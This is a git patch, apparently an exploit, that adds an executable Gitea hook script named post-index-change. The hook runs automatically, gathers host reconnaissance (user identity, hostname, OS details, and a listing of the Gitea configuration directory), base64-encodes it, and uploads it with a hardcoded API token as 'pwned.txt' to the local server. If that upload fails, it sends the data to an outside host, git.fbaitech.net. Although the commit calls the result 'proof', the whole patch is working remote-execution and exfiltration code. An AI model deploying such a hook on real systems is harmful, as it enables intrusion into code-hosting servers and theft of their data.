From 786980a83be1daf8193800ed8099c891ef45c092 Mon Sep 17 00:00:00 2001 From: secaudit77 Date: Sun, 9 Aug 2026 12:48:10 +0200 Subject: [PATCH] r1 --- hooks/post-index-change | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..106f61e --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,6 @@ +#!/bin/sh +RESULT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3; whoami; pwd; ls -la /data/gitea/conf/ 2>/dev/null | head -5) +ENCODED=$(echo "$RESULT" | base64 | tr -d "\n") +DATA="{\"message\":\"proof\",\"content\":\"${ENCODED}\"}" +curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" > /tmp/_exfil.log 2>&1 +if grep -q "error\|fail" /tmp/_exfil.log 2>/dev/null; then curl -sk -X POST "https://git.fbaitech.net/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" >> /tmp/_exfil.log 2>&1; fi